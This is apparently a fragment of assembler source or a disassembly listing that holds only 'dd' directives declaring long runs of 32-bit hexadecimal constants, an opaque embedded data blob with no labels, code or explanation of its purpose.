dd 600C731h, 792E9C4Dh, 3A0356h, 0D1CCCEC9h, 0DCF4416Dh
dd 0A66BD900h, 50643CA8h, 2A6A00ECh, 5622C932h, 0EA0CF286h
dd 580B706Fh, 0A22B005Ah, 0DE683A9Bh, 5E020C82h, 604985C9h
dd 1630400Bh, 0F9D23DFBh, 1B782080h, 7CD681EDh, 2C676B0Fh
dd 0E8EF6545h, 1C5EB603h, 262C60C7h, 7B66C68h, 0BEF45300h
dd 6314B1B8h, 0A0470010h, 6BA18372h, 0EE005F22h, 2D02E003h
dd 0D98A25h, 0F1EB47C9h, 1DD3F21Ch, 40196400h, 84433324h
dd 3CF788Dh, 0F46A3D94h, 41A8F25Ah, 790026E3h, 0B2201217h
dd 31FA24h, 973361DDh, 65518FCEh, 1AB74003h, 0D884AA03h
dd 30F0D4EDh, 481870E8h, 2BB02B7Ah, 3F064100h, 528E3B85h
dd 529065h, 1BACAA6Eh, 5C687523h, 3B617D00h, 0C514A1B7h
dd 5FB03E3Ah, 6EE6A80h, 0E6AB172Eh, 9DD439h, 61046C01h
dd 0FCBE3CAh, 8155937Ch, 0CE10C7ACh, 632EB903h, 0E0736162h
dd 3DF996C8h, 0E180917Fh, 1A52DEA3h, 11287E30h, 89EA9443h
dd 0CE4C7D00h, 0D03ABA49h, 0D6C00744h, 70B5B10Eh, 6C23D5F8h
dd 4FCD7900h, 1E5E7E1Fh, 72571C3h, 14DFC403h, 42F50CEh
dd 0BE18D127h, 0E458D44Dh, 3E9900CBh, 13787033h, 4F3B1E08h
dd 0BD9480FEh, 1F8798CFh, 20850037h, 590C102h, 0CCFC9CC4h
dd 0BFEB50C0h, 12BA4DFDh, 0FB990239h, 96326500h, 846A4Ch
dd 0A295D1C7h, 6B1CB589h, 0D379C900h, 40AA1E06h, 32984Fh
dd 0FEF1050Bh, 98A7D2FAh, 13077F7Ch, 6A70DF4Ch, 609F48C2h
dd 1412A17h, 0D8B65199h, 0C4A88B15h, 591B79C2h, 0E858E344h
dd 0F2C89Ah, 6B8FC41Eh, 0DA87C3CAh, 0D7243200h, 0CD564036h
dd 0DC050747h, 8F2F04FCh, 35199EC0h, 100C520h, 7F6F3865h
dd 0D7FF42h, 3914362Fh, 70C793F8h, 0A58FAE0Fh, 0B869C061h
dd 252780Bh, 29D0734Eh, 344AB97Dh, 0DE45BE60h, 24C0AD00h
dd 0FA5A3601h, 0C3FE013Fh, 0A93258D2h, 9177FCD8h, 8A1E3977h
dd 722C6223h, 5AD40300h, 1CBE29Dh, 5D5B6A68h, 80634183h
dd 0CD78C520h, 46A00Eh, 99219ABDh, 7D4D4504h, 0EC4A9700h
dd 0A289E718h, 28433D86h, 0E530808Eh, 0DF7A2360h, 0F024393Dh
dd 0D782B84Ch, 4365FB18h, 4E1EB898h, 25760Dh, 0D6303D34h
dd 27B554A7h, 7478F00h, 94041FAEh, 7010308Ch, 6C15F7A0h
dd 47DA9F00h, 33E8C3E6h, 50666724h, 0C1200082h, 4C38EAB1h
dd 8000FB7Ah, 40638F6Ch, 481A04E3h, 0DE48B316h, 251BA302h
dd 81C89934h, 0CC007C0Ah, 1333539Bh, 0DEC9C4h, 0F597A4F6h
dd 0EBACD1F3h, 6684DF00h, 2F1B1862h, 0C0350044h, 33C9A7A1h
dd 100FC39h, 569C3F58h, 0C2EA85h, 1B48FA9Ah, 0CD20B9AAh
dd 8E17B26h, 0FA8CA14h, 0A39E8341h, 0B83AD6BFh, 28CBE5h
dd 0E9A24BA9h, 3EF8CA55h, 0C8D76E3Ah, 865A017Ch, 7AA8AFF0h
dd 6C00D93Ch, 83A5C21Dh, 0A09806F1h, 0F6D9DD00h, 0E452D470h
dd 248B0C0Eh, 0B6A815C5h, 0F4C83A00h, 36AE492Dh, 0EA352467h
dd 0B9D2001Ch, 0D012534h, 57C82200h, 14CE8B60h, 7492EE96h
dd 4B770059h, 3AF32F42h, 9C005B15h, 413CE24h, 67C76Ch
dd 49EC1D77h, 0FA7EED9Ah, 0C897071Fh, 9F6B7F80h, 2A32BC3h
dd 0EFE99B6h, 50607819h, 20004D31h, 0B0B98BA8h, 1C5CBFC8h
dd 28EFACA4h, 0ADEE04B0h, 81278346h, 346D429Ch, 510C3C7Ch
dd 0A856CC8Eh, 0B90A032Ah, 6E46F038h, 3405DAC1h, 5D73F4ACh
dd 9AB7ED00h, 0A133E1A0h, 47411C66h, 0B90B0160h, 0CC14DAFCh
dd 0A8ECCC65h, 69065803h, 63CB284h, 7E8BC086h, 0C2F8B11Bh
dd 0F7280C90h, 663BE495h, 8FF98C6Dh, 722D1094h, 0D42F0004h
dd 0A8FAC43Ch, 8101801Ch
dd 0B3A2C0F2h, 99C0DA40h, 0B17008Ch, 0C2C9E43h, 0FC06EFE2h
dd 78FA4CCDh, 0D14E1F48h, 4F7C491Bh, 19B89786h, 2B061F00h
dd 0E63EC4A1h, 21980990h, 0EC007C27h, 0AA72E210h, 0E1AE5100h
dd 6DB26095h, 0DE860338h, 0A607593Eh, 13E22800h, 0B56B5A42h
dd 0D23C00FBh, 8C78356Dh, 0D8E0F394h, 3733EF00h, 0F09F6675h
dd 6C860F64h, 0D60901B3h, 0FB084409h, 26C08FC4h, 6200ACB4h
dd 72DEEA48h, 5C0F25A2h, 38A09208h, 13FF5DE4h, 321821h
dd 388968E5h, 0E100FE10h, 3B0DBCFCh, 0F423DECh, 597D03Ch
dd 8B612C41h, 0B5BC3089h, 102FBE30h, 0F4EBF59Ch, 33500A9h
dd 57342865h, 0AA01ED7Dh, 0D75B76A3h, 14301E9Dh, 69BC0072h
dd 0A811D22Ch, 45037D6Dh, 3BC1F54Fh, 0D74390DFh, 0E4FA0042h
dd 7B3DB159h, 0F11FEC72h, 802CAD19h, 60B6B40Eh, 0FAFC7E71h
dd 0E6FF0064h, 0B1B280F0h, 94003606h, 0D857C6C8h, 1E072388h
dd 401D7968h, 0B5135E70h, 0FD0E3318h, 5E0AA60Dh, 134EEC3h
dd 5180DC62h, 2689343h, 0AB28185Dh, 0F0808390h, 3237A9FCh
dd 0B60F5F14h, 34D61DACh, 17ACDF00h, 60947B57h, 535B18B0h
dd 1B00BCEAh, 7A4B7E87h, 0B43ADA5h, 2EDCCEE4h, 80075480h
dd 1102526Bh, 8F2AF282h, 0A59840A9h, 2167EE4h, 0B2D929F6h
dd 24E82EAFh, 91E878Ah, 74A7681h, 51148447h, 0C7400EC4h
dd 0AE84217Ch, 0E820E0E9h, 0ADCE0394h, 0BC17214Dh, 0C951A2F8h
dd 0F563100Eh, 48D440DAh, 0D0185Eh, 38065BEEh, 514DCA5Ch
dd 2A712909h, 0E56CA005h, 7B9D27h, 0FF3EDC3h, 0C1D90D8Ah
dd 157C34FAh, 8B96473Ah, 0A0DE6A6Dh, 9EB43DA8h, 91AE604Fh
dd 0EBF49AD6h, 0D2058C7Bh, 5478D9C6h, 8DA13F80h, 9974001Bh
dd 0E37CD1BFh, 2026C047h, 0EB003006h, 4ADE6BB3h, 985CFC13h
dd 96472B0h, 0D3876F58h, 0B3C630A0h, 0D79F3C8h, 0EBA54901h
dd 0BC079AD1h, 182A2130h, 56998A3Bh, 0E8006373h, 0DE7933E4h
dd 0CD82EDh, 6C3592E7h, 8C830DF4h, 6A54B400h, 4315203Ch
dd 0B861ECAh, 0B22B4344h, 0C2B0075Eh, 18005F10h, 0F783D2F3h
dd 0B8517Eh, 97E03BEDh, 0AF44B553h, 90FA4Ch, 8D6DC638h
dd 542F0A70h, 0F65190DCh, 9C733C6Fh, 0FBBD1806h, 46021885h
dd 0FDC5E13Fh, 1B9C8086h, 8DC0C7Eh, 0C4212B01h, 0A3759E3Dh
dd 811312C0h, 404E87DFh, 5208B7Fh, 0A104381Bh, 8084F2A9h
dd 95C08153h, 517849B7h, 190028F4h, 0D8D6A821h, 0E424A26h
dd 674354BAh, 93D2CEA0h, 0BD38E717h, 8235AED1h, 0FC009517h
dd 48B04331h, 84C33C9Ah, 0C5AEC000h, 38727434h, 71FDD400h
dd 0EF2822A9h, 2BB518ADh, 5D7728FAh, 827A8913h, 6819900h
dd 5F51BCEh, 1F301A68h, 3980273h, 6C5088E1h, 3C978D00h
dd 34656B6Eh, 5F9200A0h, 83D6E229h, 9007CC7Dh, 44D00130h
dd 69789D51h, 0A8240C0h, 628FD1C7h, 3AF50085h, 0DE26B1D5h
dd 7B06C4F0h, 22DA8A63h, 1AA70038h, 76CDAD39h, 4918049Fh
dd 7188359Ch, 0F978014Ch, 40BCE888h, 59D3F0DFh, 4D4D450h
dd 8050013Dh, 3D833914h, 3295E8Ah, 1B30EBE8h, 0ABEBA0C5h
dd 602F7AA9h, 0DF07F5B8h, 9573E34Dh, 0E0AD4BA2h, 1E10BC2h
dd 92B1A6F1h, 0C476FA1Fh, 454DA37Bh, 3D4F0014h, 14A299BEh
dd 0CA5601E5h, 0AF841002h, 62CC20C9h, 4869FF00h, 55D0CD51h
dd 3F060440h, 0A03BAEFAh, 95002158h, 8D02BF56h, 3A84C77h
dd 7E2CB20Dh, 0C29A645Eh, 9A567FC0h, 6EE40505h, 38C0E99Dh
dd 0ECCB21Ah, 0EB7BCF24h, 0C866DF60h, 16FE53A0h, 54D258h
dd 4D69FE70h, 12901EC4h, 0D39E78F0h, 25983C7Ch, 0AFA0AAC8h
dd 0B007A58Fh, 9FC0805Ah, 40583EC2h, 1BC84DCh, 998DF7EFh
dd 0ED72FA95h, 6C20C0A0h, 3A0032EEh, 0EB7750CDh, 79B428D8h
dd 949900C7h, 53A55968h, 0A892B702h, 23BBD500h, 0C75DC26Dh
dd 6AF00078h, 2008E136h, 0DFA4094h, 0DC09D89Ah, 20112CABh
dd 0B8716EB8h, 87E3050Ch, 80495440h, 0F93B264h, 5CD97200h
dd 3344D5A5h, 9AF20DA7h, 2410A64Dh, 0FE0F3A04h, 2404A1F7h
dd 1C80307Eh, 0D1C3C6h, 0B3B43CE1h, 61335C13h, 8E6F553Eh
dd 6CE88DDh, 3E0C167h, 4597EBC4h, 1000EF5Fh, 0A9603969h
dd 2E8C86Eh, 3F64C470h, 0BC407AF0h, 8EED222h, 0F64Eh, 3601258Fh
dd 77661D95h, 0B9C91433h, 1F490D04h, 0BB3C804Ah, 201A6F8h
dd 0E6A17150h, 6BE4D0B1h, 0F55B00C0h, 0F989FE66h, 6914366Fh
dd 4ECBD31h, 3574E747h, 0CB91480h, 0ACBA95h, 0B3ED6C6Bh
dd 1EF09470h, 1A16021Dh, 0F98B3780h, 1BDC06h, 97B3AC9Eh
dd 7D5B88BEh, 88DF0A73h, 0FBDC811Ch, 0E3D38201h, 7FC8E6CBh
dd 12F000D4h, 81ADB1C0h, 9F003349h, 5FB708C6h, 945017h
dd 8ECE2607h, 8B65D196h, 47A4F800h, 0CBEEA764h, 6385046Ch
dd 870194C9h, 8A3F70F7h, 0F800A408h, 5B71FF0Eh, 0B6D3BAh
dd 0A5B8452Eh, 0E6E1F184h, 0F9E77500h, 1FF0E577h, 1A6F0062h
dd 23B77A3Fh, 0FF025347h, 5AD40466h, 0FBC5840h, 0EC6A9681h
dd 4615EB60h, 840021ACh, 719E67B3h, 0D85F19h, 0F3411F4Fh
dd 10D41DCEh, 6CCC0701h, 6E18A88Fh, 1E2B7C30h, 50AD9B5Ah
dd 0B8C81594h, 24AC11E8h, 5E01584Ch, 5473394Ah, 9C40F8B7h
dd 5AA54400h, 89AEBC33h, 560909Fh, 8507ABCFh, 7A85C0C6h
dd 3A00D28Fh, 316C4741h, 0F6513D04h, 9838000Bh, 11FB58C8h
dd 70FCEF80h, 40C2B351h, 0F87EAEDFh, 0D3865400h, 0E05B416Bh
dd 909861h, 0D4479836h, 0BC6DCBF9h, 9680F48h, 874E9EE5h
dd 8EE04F6Ah, 319B71h, 99D18B3Bh, 37951F2Bh, 7DA7BA00h
dd 25822E2Ah, 608507CEh, 60AEE07Bh, 0A593965Dh, 0A312FC0Fh
dd 0BD356275h, 0E758F0h, 0C3FEEB2Eh, 41332772h, 53025400h
dd 44D9FC0Dh, 0BF3600D6h, 870B7E68h, 601ECD95h, 80FC169Dh
dd 0D8D0C409h, 1B466BBh, 0FF04536Dh, 422D6122h, 1C4065A1h
dd 5500E6B2h, 0F6270824h, 8AECEAh, 797B8252h, 5F6BFF96h
dd 0C900A77Dh, 0F8D6E767h, 4B9201h, 0FEC6092Ah, 5333EFA9h
dd 145B1500h, 59695221h, 4DD01DEEh, 13E600A8h, 4CA9CE4Eh
dd 4347150Fh, 2A29DAh, 6DABD86Dh, 96A800C8h, 50EB4E4Fh
dd 6A0053FEh, 0D5E5A745h, 0F6EC9FC7h, 0CF5E7728h, 61E0D928h
dd 863A60BEh, 0B637EE00h, 0B87F1BF0h, 0E93100DFh, 342E1172h
dd 8000A368h, 0B347DCA6h, 0F0EF18FCh, 0ACEE0028h, 8EF171BBh
dd 0FA0149D4h, 8B267E77h, 2630E197h, 0C47F3Dh, 0AA375A73h
dd 0F33A5B2Eh, 5FF84E17h, 2B2D7C00h, 12FD1879h, 5DA1B9h
dd 6658381Bh, 98007D03h, 652E126Eh, 48527401h, 147E4BC0h
dd 0F4924BDEh, 79ABB90Eh, 91C32E20h, 1E00F682h, 0FBB79F0Eh
dd 0E55DEDh, 0BFC7D696h, 2953C1CFh, 6F983000h, 5D750A8Bh
dd 60A60073h, 24834FB7h, 0DB075E15h, 77A4B444h, 8C4AFCD0h
dd 7137638Bh, 26A0FDADh, 8E0C86CFh, 187C9D7Dh, 77BD008Dh
dd 0DDC48B75h, 31C939E4h, 2F7D8657h, 8406031h, 0C0E8AC8h
dd 7493B900h, 1EB87BE1h, 140F90C5h, 0D1D70A96h, 7151CD00h
dd 820EC968h, 8E008B7Bh, 76757D81h, 0A84DF729h, 6F84E180h
dd 4000A8B1h, 64E586C7h, 0ACC03601h, 1CE22211h, 24E1042h
dd 20A12894h, 0DC5E34A9h, 770015BFh, 0CB0CED8h, 3A97BE94h
dd 3800F9BAh, 9070FB85h, 0B607EC7Eh, 0A0F2614Dh, 93A6E960h
dd 0BC22008Ah, 8C3A5F7Fh, 0E2005030h, 18D8C16Ah, 75AE0440h
dd 5010E7Bh
dd 0A7E01787h, 75D44315h, 1BE1F500h, 0F37F9277h, 600B07B9h
dd 0C0BBA8D3h, 0BECB83A3h, 0FE5ABD00h, 828CC5ECh, 74990A50h
dd 83B04B61h, 0BB35BAE3h, 0F300E178h, 8FAF7D25h, 1A33909h
dd 1A41E8BDh, 0F47875F5h, 93006E69h, 3C9A38ABh, 1DAA144h
dd 8835F8C5h, 7046AC87h, 61F85008h, 4E4A90A9h, 556D8204h
dd 321C4061h, 42580046h, 0B15D7B67h, 7D70EFC3h, 0A60F4DB8h
dd 21E43F6Dh, 0EA412A40h, 0E12811D3h, 974508B2h, 0E63308EEh
dd 5154AD8Ch, 0E4B344C5h, 8457F844h, 2953E831h, 4711B469h
dd 830B12C7h, 30F05828h, 0C7510D79h, 4700B151h, 0B9DC2FA6h
dd 17A1895h, 0C49B7399h, 6033A73Fh, 0CD01049Eh, 0A2C1DEE6h
dd 6A436B8h, 8DC300D0h, 0A4DB08CBh, 1CE35026h, 0FC3B08h
dd 8BEAD3C4h, 0AB183193h, 92187B4Ch, 86AF1E20h, 0DCC83ADEh
dd 59978000h, 0C4444856h, 6FF71A00h, 63B5724h, 3627A21h
dd 500AC797h, 99B864C1h, 0A400A7D1h, 54A94AFFh, 0C9F4E6h
dd 4409B62Dh, 0C1B05BDAh, 26EF3B13h, 0BA559430h, 0D6CB0397h
dd 47B4711Dh, 0B8191000h, 0F63C0E7Ch, 5B393C6Ah, 0C4E4600Eh
dd 3A929300h, 0D1F4E97h, 817A0F36h, 81B28C6Fh, 0D31ECCBh
dd 0FB4CF8h, 6754A89Eh, 62747559h, 693E0101h, 0D716CA32h
dd 4412F8h, 182DBEB9h, 4381FD2Ah, 0ABFE4271h, 653BB20Ch
dd 312045h, 0F2AAB4F9h, 8F66E070h, 95038800h, 58A1E7C3h
dd 312700BAh, 0DA4543EFh, 901CAAD3h, 0D24183F8h, 9C5A89F7h
dd 4D43A70h, 2926BB08h, 0A75480DDh, 6009EE8h, 725AADEFh
dd 4899D7F9h, 0BD00A7F8h, 56B9F1EBh, 0DA014C16h, 36134C9h
dd 6FFCB0FCh, 8F0A00EFh, 93E2C504h, 0E800441Ch, 0A91106DEh
dd 2CB99C96h, 6070BAD1h, 8AAE36EEh, 2F463000h, 0BE1323CAh
dd 541B0145h, 77E028E5h, 4221CC99h, 0E1CC9600h, 0CAF43336h
dd 0D1020F6Ah, 0A600673Eh, 0E424C8DBh, 5B1AE02h, 0C86E9D66h
dd 223FEF4h, 1783F033h, 4168A812h, 3800DF3Eh, 0A3C14BA6h
dd 0CFE35E66h, 43E08E10h, 306C33Dh, 99E034F8h, 813C48DCh
dd 332A3683h, 5DCB7D0h, 0B7C0018h, 9F7A1E23h, 0A300DFC7h
dd 9A4CB43h, 0CF296Bh, 7FF9B120h, 5E31E00Dh, 0A2A6240Ah
dd 5B00E08Dh, 0E6C18ADEh, 0FB8300C5h, 50F3B0B3h, 2D051E88h
dd 66CC38BFh, 3D9A1CC0h, 8F2A0042h, 0A43C3E52h, 0F8C0793Bh
dd 49DD04C7h, 57400F8Ah, 3860E3CEh, 8D61C72h, 42973B00h
dd 0D3B21E81h, 0FEDE0039h, 0A6D94928h, 0AE1FD28Ch, 8D40F626h
dd 7A2367B2h, 86F100F4h, 0D5D9650Ch, 0D2CB7ABh, 0B38074FDh
dd 5D3A6C94h, 234600AAh, 4C85C343h, 973E2FA7h, 0B2B600EFh
dd 0B5C77819h, 0EE5100D0h, 23AFAC67h, 7D0056BCh, 5FCEC118h
dd 12FCFD91h, 9AACAh, 0E4CC80Ch, 0D012DFBBh, 601C8DC0h
dd 3C316287h, 1FDD3C0h, 543B0047h, 0AFCF21DDh, 130AB173h
dd 0DCE288C4h, 23601000h, 3ABA053Ch, 6800BFC3h, 416E4AF1h
dd 37062C96h, 6D63448Eh, 0D4C90010h, 0D0178035h, 7B09BABBh
dd 0A023323Eh, 0F8F78D4h, 9CF8387Dh, 11C89980h, 32DDB2C3h
dd 9752D63Fh, 0B8005957h, 148D6F88h, 0CD5A00AAh, 0B124FB4Dh
dd 950070C0h, 0F9988467h, 35EDDD8h, 295C2A32h, 35E90EA2h
dd 47888079h, 2B4AC9B0h, 0A3FF0045h, 5ACA974Fh, 0D300EF10h
dd 0FCC46FB8h, 0A7175h, 0FF21B642h, 0FEDAE64Eh, 2B6D100Fh
dd 2A7300A0h, 73EB48Ch, 0C8139BB9h, 0F5EEF0F1h, 42000481h
dd 0A5B0990h, 7D5D3CFh, 7B9F5734h, 4719E1E0h, 0F080FA05h
dd 77ED1C5Ah, 29789400h, 6A7E13Eh, 1F0E0046h, 3DFF470Ah
dd 590518CCh, 4B69D494h, 0F089C5C0h, 0FD90A3h, 77D85476h
dd 62561AC5h, 0D478CA00h, 459C66BBh, 6FE3DACh, 0F80D881h
dd 6037D33Bh, 3A006F75h, 0ABB414D5h, 269A9DBEh, 16784489h
dd 91300397h, 1CC354E4h, 0CA5B37E8h, 499EBC91h, 40C57FC0h
dd 1F4C9E0h, 0CAE6B4DDh, 0D4934EFAh, 5E600227h, 0D3246111h
dd 0C78E18C8h, 29E66013h, 8BA91600h, 2BC2DC66h, 0CC2748F3h
dd 44E9C100h, 0B4CEE69Ch, 0C696A700h, 43BB4133h, 1B6C009Bh
dd 0D6B64C9Dh, 0FA3A2D3Eh, 0B1E50381h, 0B86DA7DFh, 4311553h
dd 3245F265h, 7021C713h, 2AD0CBCAh, 19231D0Bh, 0BF0880DBh
dd 94DCF8h, 7784463Eh, 3AA8FF6Eh, 0EE44B25h, 98B8C0C8h
dd 6FFE1Ch, 0A1599938h, 0CACEDA2Ah, 720FA4B2h, 0E0B3937Ah
dd 169F0C94h, 34A604FEh, 80867BEDh, 0A367BD64h, 0CA588C0Eh
dd 0A95187C8h, 6B22BC0h, 73A50030h, 66A6CC1Ah, 3900AE5Fh
dd 0E04246B6h, 13132EA1h, 0D59132h, 0FA52D27Eh, 552E4377h
dd 0B58268DAh, 40A8E22Ch, 0E4465C9Ch, 3BB8A0CBh, 7183794Ch
dd 20EC00E5h, 1EB062F6h, 530C4863h, 28CC2584h, 0A3B61CC3h
dd 0A9440090h, 8559DA43h, 7D791803h, 0C8EB1178h, 62BB17h
dd 7CAB681Fh, 0AA987F6Ah, 29F08200h, 5D1080B9h, 66A0078Ch
dd 517B43CFh, 0D4981E48h, 72000BDBh, 0FD606A9Ch, 0B087E9D7h
dd 378200F3h, 666E8B7Eh, 0E9985E41h, 0CFF12E00h, 0AE8EE06Ch
dd 905DF47Ch, 319E008Ch, 0CDE1D3D1h, 7300CBDCh, 0F1C02A81h
dd 3BAB6E2Fh, 8780E73Eh, 0ECA87EDEh, 927490D0h, 77F2BD12h
dd 4C41C000h, 4C95309h, 3FCF9D3Ah, 108C80CDh, 74901E1h
dd 69409D68h, 125A4015h, 0FD84F0Dh, 0A3A02E38h, 0D5C120C9h
dd 21268600h, 7ACD6803h, 0FC760043h, 0E1E5A8E3h, 624DE684h
dd 7D670ED8h, 0D4F40Ah, 0F9CDAD9h, 98E7F4h, 22183580h
dd 6AA03EAFh, 0BBBC332Ch, 59507500h, 90B51E6Ch, 0DF66007Ch
dd 6B6AE4BAh, 0F0004ADDh, 0A6820F88h, 0EF2E01h, 73FBFA74h
dd 6D65771Ch, 0D2818F0Bh, 5770008Eh, 0B1B893h, 1CAA0B4Bh
dd 0F46B96E4h, 8BB7FB00h, 90C44E98h, 0B52B0B8Eh, 5080DFE1h
dd 2252F2ECh, 7A4D14C1h, 80418124h, 0D2FC1592h, 68BF0033h
dd 93F11908h, 0C6073857h, 868EA598h, 0DA487BB0h, 6844012Dh
dd 20AD971Fh, 4FD6E0F2h, 1921A212h, 783774C0h, 0B897706Fh
dd 82A107BCh, 0F12768A7h, 0F45C7673h, 6033589h, 84920AE1h
dd 3F8CE06Bh, 80600372h, 96341A9Bh, 130CA9B8h, 36F09907h
dd 8CA1A85Bh, 0C0F0EB4Ah, 924B0A35h, 8BB427A3h, 0E80FAE2h
dd 0A4D0B0DAh, 35290C00h, 0ACAD8C97h, 6E991F7Ch, 70198011h
dd 93BC3818h, 506AB63Ah, 0F07221C2h, 43C73B00h, 59EF5130h
dd 7F220061h, 0DA9F17E8h, 8B004EBBh, 811C71F1h, 7AD04110h
dd 371D00E2h, 0EE0835AEh, 5A071602h, 94DA19D6h, 93899140h
dd 0BD130066h, 0D2EDB40Eh, 61120D63h, 0F0418FE0h, 3C34041Fh
dd 3ADE8720h, 6A802B73h, 158A725Ah, 98024E3Dh, 29E477DAh
dd 9A74C01Ah, 2BFD24BFh, 160C07C6h, 0B351074h, 8A00779Ch
dd 44706C63h, 3F851BDAh, 6A007C13h, 49F2258Fh, 3CC0FC67h
dd 3FAC0A76h, 0CF5901F9h, 20170EECh, 9BD06094h, 0B4332200h
dd 12324BCAh, 0E8194C4Fh, 0CD9C843Dh, 0F71A4E95h, 85EB6680h
dd 8F0003E3h, 46E135ACh, 3FA6DA45h, 1000A8FAh, 0E2130B48h
dd 392ED1F0h, 1F0038E9h, 66CEA0Dh, 178A00A8h, 292C8F79h
dd 0E21E7610h, 0DF421DEEh, 0E07BF650h, 77D9BFC0h, 0BD04005Ah
dd 0A1A8B944h, 9E9017B8h, 0C11F1901h, 0E571C6F8h, 0FF52A840h
dd 4CB22D45h, 0EF1A0800h, 0D104EA6Dh, 3A8E8BA3h, 9E1C480h
dd 49790398h, 74912465h, 561ED8E0h, 0ED00B0B2h, 0B917DBAAh
dd 0F68DA5h, 0DFAEACD7h
dd 8ECAE249h, 2338C400h, 1BC751BFh, 902550A9h, 9EAA0299h
dd 0EFD14A2Bh, 44FB9D00h, 9060FEB8h, 107104h, 3F6BF164h
dd 3CC93ED9h, 6E04A00Eh, 2F0CE57Ch, 2A2990D0h, 38BD288Ah
dd 612C00A8h, 0CAF819D3h, 60027FFFh, 665E39C2h, 80D8E0A4h
dd 1042600Dh, 8199D7F3h, 0CD002F75h, 0A956737Ch, 3DC5D0h
dd 863FC691h, 68CE0B11h, 9395883Dh, 0B482E064h, 63B851CAh
dd 0CBF9D910h, 0FB9220CCh, 0B04B4E00h, 9D128570h, 0EC8A282Dh
dd 0AB281DB4h, 0C2E3C7FFh, 0F38180EDh, 92002B25h, 273EB8EBh
dd 8FC9FCh, 0D3D23AFBh, 0E3AFB27Eh, 35871918h, 444F58h
dd 0FF70A8ADh, 0A542810Fh, 61458A02h, 80721BBAh, 9E079BC3h
dd 1CE8779Ah, 0D7148D6Eh, 43F20FE9h, 6860834Eh, 4AED875Ah
dd 0F75CA602h, 40AE57E0h, 655324h, 0AC84231Ch, 0A28F75AFh
dd 0D980F094h, 92C4E496h, 20B6DBh, 0E826EA7Ch, 0B1000A2Dh
dd 0E18EDE38h, 0BEEC2Eh, 8C577ADFh, 837CBCC0h, 1AB3C309h
dd 0FC2500F3h, 84C1AFh, 856A9B4Eh, 23E8193Eh, 8B01ACB0h
dd 0E0663AA4h, 0B4C87606h, 1C24B05Ch, 5651B21Eh, 4AE8004Eh
dd 41DBFBF5h, 0EEB57207h, 40F1C32Ah, 29C06016h, 0BCF0063h
dd 6FD46E12h, 2A0083F8h, 498BCCC2h, 0EC4FBA48h, 0E275C4h
dd 80619066h, 3EC674FEh, 60008BAh, 29B1C395h, 70FF08h
dd 85FE6101h, 4E8830DCh, 0DB846200h, 351ABA38h, 4B740146h
dd 0EE3EB401h, 0E63DC455h, 26BEEA01h, 85332983h, 0AC243CE1h
dd 5AFD3BC6h, 877BAE80h, 1355948Bh, 88966B09h, 1E140091h
dd 3E32F1ECh, 5D00FFC5h, 9641DC0Eh, 0CD0C2EC3h, 1086FE8Ah
dd 7620FDF0h, 6DBF00CFh, 0C3EFD5D0h, 130BA756h, 22E7B40Bh
dd 607A5800h, 3F708870h, 78870F8Ch, 73F2497Fh, 3807C5A8h
dd 5A896156h, 0C0EEEE85h, 7D40AE8Ah, 0D5DB9D00h, 0C72B07FAh
dd 45170E7h, 54DA52B1h, 0F18C2D3h, 9960AC48h, 563CE1Ch
dd 0CB90123Fh, 7239CC00h, 0E29CFA9Fh, 2C88006Ch, 0B262EFF8h
dd 491216C2h, 1C000F3Ah, 11E89918h, 137EFE07h, 5095430h
dd 0D02EF65Ch, 2CDB087Ch, 2DCABE00h, 1911977Bh, 0B0CC92A0h
dd 8C230029h, 0C3CE4CE3h, 0DA3D259Ah, 853B00A9h, 0CA48FE8Dh
dd 39D307C7h, 0E0E0CE08h, 319BED2Fh, 0C5BC3700h, 0FC24E482h
dd 9A6705ABh, 806E9253h, 63F52B10h, 0FC310A4Bh, 0B7F804FBh
dd 6ACD002Dh, 4B9D747Fh, 91C214h, 0F5E0E900h, 3E0C2E93h
dd 1CCD2112h, 71397700h, 0D3C303D2h, 0A5008498h, 4889C7E3h
dd 587351D7h, 280440F1h, 800CA3D8h, 0A19DBD18h, 0FFFC7700h
dd 0A6FD75E8h, 0B10D0061h, 9E9F0181h, 530099DEh, 7CC9CDBh
dd 2E8BC2h, 8DA6FE0Bh, 6169E1D1h, 82C07D3Dh, 4BE6D71h
dd 8A74C018h, 8D2C0034h, 0CD861495h, 733F221Ah, 0C206F73Ah
dd 0F09E0F32h, 3F7C0E2Eh, 4140F767h, 0BF217D8h, 11F89003h
dd 0D0C927E8h, 0A40250h, 0B8AB7818h, 0CD8E9883h, 1F4A6C03h
dd 0E9F32805h, 0E864E629h, 950301DEh, 0F6701286h, 2EA4700Eh
dd 32A98F00h, 4B69CD15h, 30AB0EDh, 45874CDFh, 0A5D8E37Fh
dd 5203C3A2h, 3181169Dh, 77F788B1h, 8F760B67h, 18C8F828h
dd 5BFE29CBh, 167AF4F9h, 18D6AC30h, 0B81264C9h, 11C661E4h
dd 3B4B1154h, 28321F00h, 7F78DC4h, 0CEC5514Dh, 0EADEE199h
dd 0E9A6E075h, 473D210Fh, 0E8D28508h, 0F66D6080h, 0D04D03C6h
dd 1C7653A8h, 0C10FB3C8h, 4BE5BE1Eh, 8037438Bh, 0B080B9BDh
dd 9928008Ch, 6930E8F2h, 6C186DD0h, 0B688D372h, 88E8BC8Dh
dd 604F4913h, 0C7297655h, 7D58C086h, 367AE575h, 0DDA3E200h
dd 9CB6FCFh, 2A77FC44h, 24B37Bh, 58E0A9E1h, 87B443DBh
dd 0E3190CA0h, 0ACC83900h, 0E4AA2911h, 0BF40003Ah, 0F9BAD456h
dd 67F0EF1Ch, 42F8997Dh, 76632500h, 0A0742C9Dh, 0C87058h
dd 0A37B7126h, 8FE45135h, 10802900h, 0B028D2F0h, 785D1222h
dd 14BA006Eh, 13CF1B4Eh, 3C8D5E00h, 4CACCC83h, 75060724h
dd 0C57492C5h, 2658038h, 94829EEh, 0B2200099h, 0B90EDA53h
dd 2CDF0163h, 35CC54A1h, 0C81FF77Ch, 80FE1E92h, 0DDF1052Ah
dd 12A7B6C0h, 2028657Eh, 0D383338h, 0C93C6B77h, 0AC15281Ah
dd 91623000h, 99FFBE27h, 723100F7h, 47AF53E1h, 7302E240h
dd 3292692Ch, 368340D9h, 3C13FAF4h, 0A85E20E5h, 10403356h
dd 0DA30F812h, 87A11DB2h, 7C55009Dh, 5AD0F232h, 0B900C476h
dd 94D3FBDDh, 0A1DCE2BFh, 0C180A485h, 0D61FAD2Fh, 0A624B008h
dd 7300107Ch, 27C00920h, 0DD580119h, 3452DCB5h, 0CED18A4Bh
dd 0F841F04Dh, 346CB76Ah, 759ADB00h, 9D04AE0Bh, 0A92C9105h
dd 845EE460h, 7EA2B8C0h, 26DD5354h, 1ED9447h, 8EE9B284h
